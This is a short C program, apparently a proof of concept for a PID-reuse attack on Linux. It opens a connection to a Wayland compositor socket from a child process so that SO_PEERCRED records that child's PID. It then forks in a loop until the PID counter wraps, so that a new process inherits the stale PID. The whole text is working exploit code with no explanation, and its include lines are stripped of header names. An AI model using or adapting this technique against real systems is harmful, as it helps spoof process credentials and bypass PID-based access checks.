#include #include #include #include #include int main() { int fd = socket(AF_UNIX, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); return 1; } // First create a PID slot to know where to stop pid_t slot_pid = fork(); if (slot_pid == 0) { _exit(0); } waitpid(slot_pid, NULL, 0); printf("slot_pid = %d\n", slot_pid); // Create a connection inside a child pid_t fd_pid = fork(); if (fd_pid == 0) { // On Linux, SO_PEERCRED is stashed on connect struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = "/run/user/1000/wayland-0", }; if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); _exit(1); } _exit(0); } printf("created connection with pid %d\n", fd_pid); waitpid(fd_pid, NULL, 0); // Fork until we overflow and reach slot_pid again // TODO: make it faster by waiting children only if fork fails pid_t pid = -1; do { pid = fork(); if (pid < 0) { perror("fork"); return 1; } else if (pid == 0) { _exit(0); } waitpid(pid, NULL, 0); } while (pid > fd_pid || pid < slot_pid); printf("Next spawned process will use PID %d\n", fd_pid); return 0; }